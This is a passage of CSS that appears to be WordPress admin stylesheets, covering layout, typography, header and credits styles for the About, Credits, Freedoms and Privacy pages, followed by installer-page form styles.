	--border-radius: 16px;

	--gap: 2rem;
}

/*------------------------------------------------------------------------------
  1.0 - Global: About, Credits, Freedoms, Privacy, Get Involved
------------------------------------------------------------------------------*/

.about-php,
.credits-php,
.freedoms-php,
.privacy-php,
.contribute-php {
	background: #fff;
}

.about-php #wpcontent,
.credits-php #wpcontent,
.freedoms-php #wpcontent,
.privacy-php #wpcontent,
.contribute-php #wpcontent {
	background: #fff;
	padding: 0 24px;
}

@media screen and (max-width: 782px) {
	.about-php.auto-fold #wpcontent,
	.credits-php.auto-fold #wpcontent,
	.freedoms-php.auto-fold #wpcontent,
	.privacy-php.auto-fold #wpcontent,
	.contribute-php.auto-fold #wpcontent {
		padding-left: 24px;
	}
}

.about__container {
	max-width: 1000px;
	margin: 24px auto;
	clear: both;
}

.about__container .alignleft {
	float: left;
}

.about__container .alignright {
	float: right;
}

.about__container .aligncenter {
	text-align: center;
}

.about__container .is-vertically-aligned-top {
	align-self: start;
}

.about__container .is-vertically-aligned-center {
	align-self: center;
}

.about__container .is-vertically-aligned-bottom {
	align-self: end;
}

.about__section {
	background: transparent;
	clear: both;
}

.about__container .has-accent-background-color {
	color: var(--text-light);
	background-color: var(--accent-2);
}

.about__container .has-transparent-background-color {
	background-color: transparent;
}

.about__container .has-accent-color {
	color: var(--accent-2);
}

.about__container .has-border {
	border: 3px solid currentColor;
}

.about__container .has-subtle-background-color {
	background-color: var(--subtle-background);
}

.about__container .has-background-image {
	background-size: contain;
	background-repeat: no-repeat;
	background-position: center;
}

/* 1.1 - Layout */

.about__section {
	margin: 0;
}

.about__section .column:not(.is-edge-to-edge) {
	padding: var(--gap);
}

.about__section + .about__section .is-section-header {
	padding-bottom: var(--gap);
}

.about__section .column[class*="background-color"]:not(.is-edge-to-edge),
.about__section:where([class*="background-color"]) .column:not(.is-edge-to-edge),
.about__section .column.has-border:not(.is-edge-to-edge) {
	padding-top: var(--gap);
	padding-bottom: var(--gap);
}

.about__section .column p:first-of-type {
	margin-top: 0;
}

.about__section .column p:last-of-type {
	margin-bottom: 0;
}

.about__section .has-text-columns {
	columns: 2;
	column-gap: calc(var(--gap) * 2);
}

.about__section .is-section-header {
	margin-bottom: 0;
	padding: var(--gap) var(--gap) 0;
}

.about__section .is-section-header p:last-child {
	margin-bottom: 0;
}

/* Section header is alone in a container. */
.about__section .is-section-header:first-child:last-child {
	padding: 0;
}

.about__section.is-feature {
	padding: var(--gap);
}

.about__section.is-feature p {
	margin: 0;
}

.about__section.is-feature p + p {
	margin-top: calc(var(--gap) / 2);
}

.about__section.has-1-column {
	margin-left: auto;
	margin-right: auto;
	max-width: 36em;
}

.about__section.has-2-columns,
.about__section.has-3-columns,
.about__section.has-4-columns,
.about__section.has-overlap-style {
	display: grid;
}

.about__section.has-gutters {
	gap: var(--gap);
	margin-bottom: var(--gap);
}

.about__section.has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about__section.has-2-columns.is-wider-right {
	grid-template-columns: 2fr 3fr;
}

.about__section.has-2-columns.is-wider-left {
	grid-template-columns: 3fr 2fr;
}

.about__section .is-section-header {
	grid-column-start: 1;
	grid-column-end: -1;
}

.about__section.has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about__section.has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about__section.has-overlap-style {
	grid-template-columns: repeat(7, 1fr);
}

.about__section.has-overlap-style .column {
	grid-row-start: 1;
}

.about__section.has-overlap-style .column:nth-of-type(2n+1) {
	grid-column-start: 2;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column:nth-of-type(2n) {
	grid-column-start: 4;
	grid-column-end: span 3;
}

.about__section.has-overlap-style .column.is-top-layer {
	z-index: 1;
}

@media screen and (max-width: 782px) {
	.about__section.has-2-columns.is-wider-right,
	.about__section.has-2-columns.is-wider-left,
	.about__section.has-3-columns {
		display: block;
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section .column:not(.is-edge-to-edge) {
		padding-top: var(--gap);
		padding-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters.is-wider-right,
	.about__section.has-2-columns.has-gutters.is-wider-left,
	.about__section.has-3-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-2-columns.has-gutters .column,
	.about__section.has-3-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-2-columns.has-gutters .column:last-child,
	.about__section.has-3-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-3-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns {
		grid-template-columns: repeat(2, 1fr);
	}

	.about__section.has-overlap-style {
		grid-template-columns: 1fr;
	}

	/* At this size, the two columns fully overlap */
	.about__section.has-overlap-style .column.column {
		grid-column-start: 1;
		grid-column-end: 2;
		grid-row-start: 1;
		grid-row-end: 2;
	}
}

@media screen and (max-width: 600px) {
	.about__section.has-2-columns {
		display: block;
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-2-columns.has-gutters {
		margin-bottom: calc(var(--gap) * 2);
	}

	.about__section.has-2-columns.has-gutters .column {
		margin-bottom: var(--gap);
	}

	.about__section.has-2-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}
}

@media screen and (max-width: 480px) {
	.about__section.is-feature .column {
		padding: 0;
	}

	.about__section.has-4-columns {
		display: block;
		padding-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column {
		margin-bottom: calc(var(--gap) / 2);
	}

	.about__section.has-4-columns.has-gutters .column:last-child {
		margin-bottom: 0;
	}

	.about__section.has-4-columns .column:nth-of-type(n) {
		padding-top: calc(var(--gap) / 2);
		padding-bottom: calc(var(--gap) / 2);
	}
}

/* 1.2 - Typography & Elements */

.about__container {
	line-height: 1.4;
	color: var(--text);
}

.about__container h1 {
	padding: 0;
}

.about__container h1,
.about__container h2,
.about__container h3.is-larger-heading {
	margin-top: 0;
	margin-bottom: 0.5em;
	font-size: 2rem;
	font-weight: 700;
	line-height: 1.16;
}

.about__container h3,
.about__container h1.is-smaller-heading,
.about__container h2.is-smaller-heading {
	margin-top: 0;
	font-size: 1.625rem;
	font-weight: 700;
	line-height: 1.4;
}

.about__container h4,
.about__container h3.is-smaller-heading {
	margin-top: 0;
	font-size: 1.125rem;
	font-weight: 600;
	line-height: 1.6;
}

.about__container h1,
.about__container h2,
.about__container h3,
.about__container h4 {
	text-wrap: balance;
	color: inherit;
}

.about__container p {
	text-wrap: pretty;
}

.about__container p {
	font-size: inherit;
	line-height: inherit;
}

.about__container p.is-subheading {
	margin-top: 0;
	font-size: 1.5rem;
	font-weight: 300;
	line-height: 160%;
}

.about__section a {
	color: var(--accent-1);
	text-decoration: underline;
}

.about__section a:hover,
.about__section a:active,
.about__section a:focus {
	color: var(--accent-1);
	text-decoration: none;
}

.wp-credits-list a {
	text-decoration: none;
}

.wp-credits-list a:hover,
.wp-credits-list a:active,
.wp-credits-list a:focus {
	text-decoration: underline;
}

.about__container ul {
	list-style: disc;
	margin-left: calc(var(--gap) / 2);
}

.about__container li {
	margin-bottom: 0.5rem;
}

.about__container img {
	margin: 0;
	max-width: 100%;
	vertical-align: middle;
}

.about__container .about__image {
	margin: 0;
}

.about__container .about__image img {
	max-width: 100%;
	width: 100%;
	height: auto;
	border-radius: var(--border-radius);
}

.about__container .about__image figcaption {
	margin-top: 0.5em;
	text-align: center;
}

.about__container .about__image .wp-video {
	margin-left: auto;
	margin-right: auto;
}

.about__container .about__image svg {
	vertical-align: middle;
}

.about__container .about__image + h3 {
	margin-top: 1.5em;
}

.about__container hr {
	margin: calc(var(--gap) / 2) var(--gap);
	height: 0;
	border: none;
	border-top: 4px solid var(--accent-3);
}

.about__container hr.is-small {
	margin-top: 0;
	margin-bottom: 0;
}

.about__container hr.is-large {
	margin: var(--gap) auto;
}

.about__container div.updated,
.about__container div.error,
.about__container .notice {
	display: none !important;
}

.about__container code {
	font-size: inherit;
}

.about__section {
	font-size: 1.125rem;
	line-height: 1.55;
}

.about__section.is-feature {
	font-size: 1.6em;
}

.about__section.has-3-columns,
.about__section.has-4-columns {
	font-size: 1rem;
}

@media screen and (max-width: 480px) {
	.about__section.is-feature {
		font-size: 1.4em;
	}

	.about__container h1,
	.about__container h2,
	.about__container h3.is-larger-heading {
		font-size: 2em;
	}
}

/* 1.3 - Header */

.about__header {
	position: relative;
	display: flex;
	flex-direction: column;
	align-items: flex-start;
	justify-content: flex-end;
	box-sizing: border-box;
	padding: calc(var(--gap) * 1.5);
	min-height: clamp(10rem, 25vw, 18.75rem);
	border-radius: var(--border-radius);
	background-repeat: no-repeat;
	background-position: right 7% center, top left;
	background-color: var(--background);
}

.about__header-image {
	margin: 0 var(--gap) 3em;
}

.about__header-title {
	box-sizing: border-box;
	margin: 0;
	padding: 0;
}

.about__header-title h1 {
	margin: 0;
	padding: 0;
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 20vw - 9rem, 4rem);
	line-height: 1;
	font-weight: 600;
}

.about-php .about__header-title h1,
.credits-php .about__header-title h1,
.freedoms-php .about__header-title h1,
.privacy-php .about__header-title h1,
.contribute-php .about__header-title h1 {
	/* Fluid font size scales on browser size 960px - 1200px. */
	font-size: clamp(2rem, 10vw - 3rem, 4rem);
}

.about__header-text {
	box-sizing: border-box;
	max-width: 26em;
	margin: 1rem 0 0;
	padding: 0;
	font-size: 1.6rem;
	line-height: 1.15;
}

.about__header-navigation {
	position: relative;
	z-index: 1;
	display: flex;
	flex-wrap: wrap;
	justify-content: space-between;
	padding-top: 0;
	margin-bottom: var(--gap);
	background: var(--nav-background);
	color: var(--nav-color);
	border-bottom: 3px solid var(--nav-border);
}

.about__header-navigation::after {
	display: none;
}

.about__header-navigation .nav-tab {
	margin-left: 0;
	padding: calc(var(--gap) * 0.75) var(--gap);
	float: none;
	font-size: 1.4em;
	line-height: 1;
	border-width: 0 0 3px;
	border-style: solid;
	border-color: transparent;
	background: transparent;
	color: inherit;
}

.about__header-navigation .nav-tab:hover,
.about__header-navigation .nav-tab:active {
	background-color: var(--nav-current);
	color: var(--text-light);
}

.about__header-navigation .nav-tab-active {
	margin-bottom: -3px;
	color: var(--nav-current);
	border-width: 0 0 6px;
	border-color: var(--nav-current);
}

.about__header-navigation .nav-tab-active:hover,
.about__header-navigation .nav-tab-active:active {
	background-color: var(--nav-current);
	color: var(--text-light);
	border-color: var(--nav-current);
}

@media screen and (max-width: 960px) {

	.about-php .about__header-title h1,
	.credits-php .about__header-title h1,
	.freedoms-php .about__header-title h1,
	.privacy-php .about__header-title h1,
	.contribute-php .about__header-title h1 {
		/* Fluid font size scales on browser size 600px - 960px. */
		font-size: clamp(3rem, 6.67vw - 0.5rem, 4.5rem);
	}

	.about__header-navigation .nav-tab {
		padding: calc(var(--gap) * 0.75) calc(var(--gap) * 0.5);
	}
}

@media screen and (max-width: 782px) {
	.about__container .about__header-text {
		font-size: 1.4em;
	}

	.about__header-container {
		display: block;
	}

	.about__header {
		padding: var(--gap);
	}

	.about__header-text {
		margin-top: 0.5rem;
	}

	.about__header-navigation .nav-tab {
		margin-top: 0;
		margin-right: 0;
		font-size: 1.2em;
	}
}

@media screen and (max-width: 600px) {
	.about__header {
		min-height: auto;
	}

	.about__header,
	.credits-php .about__header,
	.freedoms-php .about__header,
	.privacy-php .about__header,
	.contribute-php .about__header {
		background-image: none;
	}

	.about__header-navigation {
		display: block;
	}

	.about__header-navigation .nav-tab {
		display: block;
		margin-bottom: 0;
		padding: calc(var(--gap) / 2);
		border-left-width: 6px;
		border-bottom: none;
	}

	.about__header-navigation .nav-tab-active {
		border-bottom: none;
		border-left-width: 6px;
	}
}


/*------------------------------------------------------------------------------
  2.0 - Credits Page
------------------------------------------------------------------------------*/

.about__section .wp-people-group-title {
	margin-bottom: calc(var(--gap) * 2 - 10px);
	text-align: center;

}

.about__section .wp-people-group {
	margin: 0;
	display: flex;
	flex-wrap: wrap;
}

.about__section .wp-person {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	margin-bottom: calc(var(--gap) - 10px);
	width: 25%;
	text-align: center;
}

.about__section .compact .wp-person {
	height: auto;
	width: 20%;
}

.about__section .wp-person-avatar {
	display: block;
	margin: 0 auto calc(var(--gap) / 2);
	width: 140px;
	height: 140px;
	border-radius: 100%;
	overflow: hidden;
}

.about__section .wp-person .gravatar {
	width: 140px;
	height: 140px;
	filter: grayscale(100%);
}

.about__section .compact .wp-person-avatar,
.about__section .compact .wp-person .gravatar {
	width: 80px;
	height: 80px;
}

.about__section .wp-person .web {
	display: block;
	font-size: 1.4em;
	font-weight: 600;
	padding: 10px 10px 0;
	text-decoration: none;
}

.about__section .wp-person .web:hover {
	text-decoration: underline;
}

.about__section .compact .wp-person .web {
	font-size: 1.2em;
}

.about__section .wp-person .title {
	display: block;
	margin-top: 0.5em;
}

@media screen and (max-width: 782px) {
	.about__section .wp-person {
		width: 33%;
	}

	.about__section .compact .wp-person {
		width: 25%;
	}

	.about__section .wp-person-avatar,
	.about__section .wp-person .gravatar {
		width: 120px;
		height: 120px;
	}
}

@media screen and (max-width: 600px) {
	.about__section .wp-person {
		width: 50%;
	}

	.about__section .compact .wp-person {
		width: 33%;
	}

	.about__section .wp-person .web {
		font-size: 1.2em;
	}
}

@media screen and (max-width: 480px) {
	.about__section .wp-person {
		min-width: 100%;
	}

	.about__section .wp-person .web {
		font-size: 1em;
	}

	.about__section .compact .wp-person .web {
		font-size: 1em;
	}
}


/*------------------------------------------------------------------------------
  3.0 - Freedoms Page
------------------------------------------------------------------------------*/

.about__section .column .freedom-image {
	margin-bottom: var(--gap);
	max-height: 180px;
}


/*------------------------------------------------------------------------------
  4.0 - Privacy Page
------------------------------------------------------------------------------*/

.about__section .column .privacy-image {
	display: block;
	margin-left: auto;
	margin-right: auto;
	max-width: 25rem;
}


/*------------------------------------------------------------------------------
  x.2.0 - Legacy About Styles: Global
------------------------------------------------------------------------------*/

.about-wrap {
	position: relative;
	margin: 25px 40px 0 20px;
	max-width: 1050px; /* readability */
	font-size: 15px;
}

.about-wrap.full-width-layout {
	max-width: 1200px;
}

.about-wrap-content {
	max-width: 1050px;
}

.about-wrap div.updated,
.about-wrap div.error,
.about-wrap .notice {
	display: none !important;
}

.about-wrap hr {
	border: 0;
	height: 0;
	margin: 3em 0 0;
	border-top: 1px solid rgba(0, 0, 0, 0.1);
}

.about-wrap img {
	margin: 0;
	width: 100%;
	height: auto;
	vertical-align: middle;
}

.about-wrap .inline-svg img {
	max-width: 100%;
	width: auto;
	height: auto;
}

.about-wrap video {
	margin: 1.5em auto;
}

/* WordPress Version Badge */

.wp-badge {
	background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;
	background-position: center 25px;
	background-size: 80px 80px;
	color: #fff;
	font-size: 14px;
	text-align: center;
	font-weight: 600;
	margin: 5px 0 0;
	padding-top: 120px;
	height: 40px;
	display: inline-block;
	width: 140px;
	text-rendering: optimizeLegibility;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
}

.svg .wp-badge {
	background-image: url(../images/wordpress-logo-white.svg?ver=20160308);
}

.about-wrap .wp-badge {
	position: absolute;
	top: 0;
	right: 0;
}

/* Tabs */

.about-wrap .nav-tab {
	padding-right: 15px;
	padding-left: 15px;
	font-size: 18px;
	line-height: 1.33333333;
}

/* x.2.1 - Typography */

.about-wrap h1 {
	margin: 0.2em 200px 0 0;
	padding: 0;
	color: #32373c;
	line-height: 1.2;
	font-size: 2.8em;
	font-weight: 400;
}

.about-wrap h2 {
	margin: 40px 0 0.6em;
	font-size: 2.7em;
	line-height: 1.3;
	font-weight: 300;
	text-align: center;
}

.about-wrap h3 {
	margin: 1.25em 0 0.6em;
	font-size: 1.4em;
	line-height: 1.5;
}

.about-wrap h4 {
	font-size: 16px;
	color: #23282d;
}

.about-wrap p {
	line-height: 1.5;
	font-size: 16px;
}

.about-wrap code,
.about-wrap ol li p {
	font-size: 14px;
	font-weight: 400;
}

.about-wrap figcaption {
	font-size: 13px;
	text-align: center;
	color: white;
	text-overflow: ellipsis;
}

.about-wrap .about-description,
.about-wrap .about-text {
	margin-top: 1.4em;
	font-weight: 400;
	line-height: 1.6;
	font-size: 19px;
}

.about-wrap .about-text {
	margin: 1em 200px 1em 0;
	color: #555d66;
}

/* x.2.2 - Structure */

.about-wrap .has-1-columns,
.about-wrap .has-2-columns,
.about-wrap .has-3-columns,
.about-wrap .has-4-columns {
	display: grid;
	max-width: 800px;
	margin-top: 40px;
	margin-left: auto;
	margin-right: auto;
}

.about-wrap .column {
	margin-right: 20px;
	margin-left: 20px;
}

.about-wrap .is-wide {
	max-width: 760px;
}

.about-wrap .is-fullwidth {
	max-width: 100%;
}

.about-wrap .has-1-columns {
	display: block;
	max-width: 680px;
	margin: 0 auto 40px;
}

.about-wrap .has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about-wrap .has-2-columns .column:nth-of-type(2n+1) {
	grid-column-start: 1;
}

.about-wrap .has-2-columns .column:nth-of-type(2n) {
	grid-column-start: 2;
}

.about-wrap .has-2-columns.is-wider-right {
	grid-template-columns: 1fr 2fr;
}

.about-wrap .has-2-columns.is-wider-left {
	grid-template-columns: 2fr 1fr;
}

.about-wrap .has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about-wrap .has-3-columns .column:nth-of-type(3n+1) {
	grid-column-start: 1;
}

.about-wrap .has-3-columns .column:nth-of-type(3n+2) {
	grid-column-start: 2;
}

.about-wrap .has-3-columns .column:nth-of-type(3n) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
	grid-column-start: 1;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
	grid-column-start: 2;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns .column:nth-of-type(4n) {
	grid-column-start: 4;
}

.about-wrap .column :first-child {
	margin-top: 0;
}

.about-wrap .aligncenter {
	text-align: center;
}

.about-wrap .alignleft {
	float: left;
	margin-right: 40px;
}

.about-wrap .alignright {
	float: right;
	margin-left: 40px;
}

.about-wrap .is-vertically-aligned-top {
	align-self: flex-start;
}

.about-wrap .is-vertically-aligned-center {
	align-self: center;
}

.about-wrap .is-vertically-aligned-bottom {
	align-self: end;
}

/* x.2.3 - Point Releases */

.about-wrap .point-releases {
	margin-top: 5px;
	border-bottom: 1px solid #ddd;
}

.about-wrap .changelog {
	margin-bottom: 40px;
}

.about-wrap .changelog.point-releases h3 {
	padding-top: 35px;
}

.about-wrap .changelog.point-releases h3:first-child {
	padding-top: 7px;
}

.about-wrap .changelog.feature-section .col {
	margin-top: 40px;
}

/*------------------------------------------------------------------------------
  x.3.0 - Legacy About Styles: About Page
------------------------------------------------------------------------------*/

/* x.3.1 - Typography */

.about-wrap .lead-description {
	font-size: 1.5em;
	text-align: center;
}

.about-wrap .feature-section p {
	margin-top: 0.6em;
}

/* x.3.2 - Structure */

.about-wrap .headline-feature {
	margin: 0 auto 40px;
	max-width: 680px;
}

.about-wrap .headline-feature h2 {
	margin: 50px 0 0;
}

.about-wrap .headline-feature img {
	max-width: 600px;
	width: 100%;
}

/* Go to Dashboard Home link */

.about-wrap .return-to-dashboard {
	margin: 30px 0 0 -5px;
	font-size: 14px;
	font-weight: 600;
}

.about-wrap .return-to-dashboard a {
	text-decoration: none;
	padding: 0 5px;
}

/*------------------------------------------------------------------------------
  x.4.0 - Legacy About Styles: Credits & Freedoms Pages
------------------------------------------------------------------------------*/

/* Credits */

.about-wrap h2.wp-people-group {
	margin: 2.6em 0 1.33em;
	padding: 0;
	font-size: 16px;
	line-height: inherit;
	font-weight: 600;
	text-align: left;
}

.about-wrap .wp-people-group {
	padding: 0 5px;
	margin: 0 -15px 0 -5px;
}

.about-wrap .compact {
	margin-bottom: 0;
}

.about-wrap .wp-person {
	display: inline-block;
	vertical-align: top;
	margin-right: 10px;
	padding-bottom: 15px;
	height: 70px;
	width: 280px;
}

.about-wrap .compact .wp-person {
	height: auto;
	width: 180px;
	padding-bottom: 0;
	margin-bottom: 0;
}

.about-wrap .wp-person .gravatar {
	float: left;
	margin: 0 10px 10px 0;
	padding: 1px;
	width: 60px;
	height: 60px;
}

.about-wrap .compact .wp-person .gravatar {
	width: 30px;
	height: 30px;
}

.about-wrap .wp-person .web {
	margin: 6px 0 2px;
	font-size: 16px;
	font-weight: 400;
	line-height: 2;
	text-decoration: none;
}

.about-wrap .wp-person .title {
	display: block;
}

.about-wrap #wp-people-group-validators + p.wp-credits-list {
	margin-top: 0;
}

.about-wrap p.wp-credits-list a {
	white-space: nowrap;
}

/* Freedoms */

.freedoms-php .about-wrap ol {
	margin: 40px 60px;
}

.freedoms-php .about-wrap ol li {
	list-style-type: decimal;
	font-weight: 600;
}

.freedoms-php .about-wrap ol p {
	font-weight: 400;
	margin: 0.6em 0;
}

.freedoms-php .column .freedoms-image {
	background-image: url('../images/freedoms.png');
	background-size: 100%;
	padding-top: 100%;
}

.freedoms-php .column:nth-of-type(2) .freedoms-image {
	background-position: 0 34%;
}

.freedoms-php .column:nth-of-type(3) .freedoms-image {
	background-position: 0 66%;
}

.freedoms-php .column:nth-of-type(4) .freedoms-image {
	background-position: 0 100%;
}

/*------------------------------------------------------------------------------
  x.5.0 - Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

@media screen and (max-width: 782px) {
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		grid-template-columns: 1fr 1fr;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+1),
	.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
		grid-column-start: 1;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+2),
	.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
		grid-column-start: 2;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n),
	.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
		grid-column-start: 1;
		grid-row-start: 2;
	}

	.about-wrap .has-4-columns .column:nth-of-type(4n) {
		grid-column-start: 2;
		grid-row-start: 2;
	}
}

@media screen and (max-width: 600px) {
	.about-wrap .has-2-columns,
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		display: block;
	}

	.about-wrap :not(.is-wider-right):not(.is-wider-left) .column {
		margin-right: 0;
		margin-left: 0;
	}

	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: grid;
	}
}

@media only screen and (max-width: 500px) {
	.about-wrap {
		margin-right: 20px;
		margin-left: 10px;
	}

	.about-wrap h1,
	.about-wrap .about-text {
		margin-right: 0;
	}

	.about-wrap .about-text {
		margin-bottom: 0.25em;
	}

	.about-wrap .wp-badge {
		position: relative;
		margin-bottom: 1.5em;
		width: 100%;
	}
}

@media only screen and (max-width: 480px) {
	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: block;
	}

	.about-wrap .column {
		margin-right: 0;
		margin-left: 0;
	}

	.about-wrap .has-2-columns.is-wider-right img,
	.about-wrap .has-2-columns.is-wider-left img {
		max-width: 160px;
	}
}
html {
	background: #f0f0f1;
	margin: 0 20px;
}

body {
	background: #fff;
	border: 1px solid #c3c4c7;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	margin: 140px auto 25px;
	padding: 20px 20px 10px;
	max-width: 700px;
	-webkit-font-smoothing: subpixel-antialiased;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
}

a {
	color: #2271b1;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

h1, h2 {
	border-bottom: 1px solid #dcdcde;
	clear: both;
	color: #646970;
	font-size: 24px;
	padding: 0 0 7px;
	font-weight: 400;
}

h3 {
	font-size: 16px;
}

p, li, dd, dt {
	padding-bottom: 2px;
	font-size: 14px;
	line-height: 1.5;
}

code, .code {
	font-family: Consolas, Monaco, monospace;
}

ul, ol, dl {
	padding: 5px 5px 5px 22px;
}

a img {
	border: 0
}
abbr {
	border: 0;
	font-variant: normal;
}

fieldset {
	border: 0;
	padding: 0;
	margin: 0;
}

#logo {
	margin: -130px auto 25px;
	padding: 0 0 25px;
	width: 84px;
	height: 84px;
	overflow: hidden;
	background-image: url(../images/w-logo-blue.png?ver=20131202);
	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
	background-size: 84px;
	background-position: center top;
	background-repeat: no-repeat;
	color: #3c434a; /* same as login.css */
	font-size: 20px;
	font-weight: 400;
	line-height: 1.3em;
	text-decoration: none;
	text-align: center;
	text-indent: -9999px;
	outline: none;
}

.step {
	margin: 20px 0 15px;
}
.step, th {
	text-align: left;
	padding: 0;
}
.language-chooser.wp-core-ui .step .button.button-large {
	font-size: 14px;
}
textarea {
	border: 1px solid #dcdcde;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	width: 100%;
	box-sizing: border-box;
}

.form-table {
	border-collapse: collapse;
	margin-top: 1em;
	width: 100%;
}

.form-table td {
	margin-bottom: 9px;
	padding: 10px 20px 10px 0;
	font-size: 14px;
	vertical-align: top
}

.form-table th {
	font-size: 14px;
	text-align: left;
	padding: 10px 20px 10px 0;
	width: 115px;
	vertical-align: top;
}

.form-table code {
	line-height: 1.28571428;
	font-size: 14px;
}

.form-table p {
	margin: 4px 0 0;
	font-size: 11px;
}

.form-table .setup-description {
	margin: 4px 0 0;
	line-height: 1.6;
}

.form-table input {
	line-height: 1.33333333;
	font-size: 15px;
	padding: 3px 5px;
}

.wp-pwd {
	margin-top: 0;
}

.form-table .wp-pwd {
	display: flex;
	column-gap: 4px;
}

.form-table .password-input-wrapper {
	width: 100%;
}

input,
submit {
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
}

.form-table input[type=text],
.form-table input[type=email],
.form-table input[type=url],
.form-table input[type=password],
#pass-strength-result {
	width: 100%;
}

.form-table th p {
	font-weight: 400;
}

.form-table.install-success th,
.form-table.install-success td {
	vertical-align: middle;
	padding: 16px 20px 16px 0;
}

.form-table.install-success td p {
	margin: 0;
	font-size: 14px;
}

.form-table.install-success td code {
	margin: 0;
	font-size: 18px;
}

#error-page {
	margin-top: 50px;
}

#error-page p {
	font-size: 14px;
	line-height: 1.28571428;
	margin: 25px 0 20px;
}

#error-page code, .code {
	font-family: Consolas, Monaco, monospace;
}

.message {
	border-left: 4px solid #d63638;
	padding: .7em .6em;
	background-color: #fcf0f1;
}

/* rtl:ignore */
#dbname,
#uname,
#pwd,
#dbhost,
#prefix,
#user_login,
#admin_email,
#pass1,
#pass2 {
	direction: ltr;
}


/* localization */
body.rtl,
.rtl textarea,
.rtl input,
.rtl submit {
	font-family: Tahoma, sans-serif;
}

:lang(he-il) body.rtl,
:lang(he-il) .rtl textarea,
:lang(he-il) .rtl input,
:lang(he-il) .rtl submit {
	font-family: Arial, sans-serif;
}

@media only screen and (max-width: 799px) {
	body {
		margin-top: 115px;
	}
	#logo a {
		margin: -125px auto 30px;
	}
}

@media screen and (max-width: 782px) {

	.form-table {
		margin-top: 0;
	}

	.form-table th,
	.form-table td {
		display: block;
		width: auto;
		vertical-align: middle;
	}

	.form-table th {
		padding: 20px 0 0;
	}

	.form-table td {
		padding: 5px 0;
		border: 0;
		margin: 0;
	}

	textarea,
	input {
		font-size: 16px;
	}

	.form-table td input[type="text"],
	.form-table td input[type="email"],
	.form-table td input[type="url"],
	.form-table td input[type="password"],
	.form-table td select,
	.form-table td textarea,
	.form-table span.description {
		width: 100%;
		font-size: 16px;
		line-height: 1.5;
		padding: 7px 10px;
		display: block;
		max-width: none;
		box-sizing: border-box;
	}

	#pwd {
		padding-right: 2.5rem;
	}

	.wp-pwd #pass1 {
		padding-right: 50px;
	}

	.wp-pwd .button.wp-hide-pw {
		right: 0;
	}

	#pass-strength-result {
		width: 100%;
	}
}

body.language-chooser {
	max-width: 300px;
}

.language-chooser select {
	padding: 8px;
	width: 100%;
	display: block;
	border: 1px solid #dcdcde;
	background: #fff;
	color: #2c3338;
	font-size: 16px;
	font-family: Arial, sans-serif;
	font-weight: 400;
}

.language-chooser select:focus {
	color: #2c3338;
}

.language-chooser select option:hover,
.language-chooser select option:focus {
	color: #0a4b78;
}

.language-chooser .step {
	text-align: right;
}

.screen-reader-input,
.screen-reader-text {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important;
}

.spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 2px 5px 0;
}

.step .spinner {
	display: inline-block;
	vertical-align: middle;
	margin-right: 15px;
}

.button.hide-if-no-js,
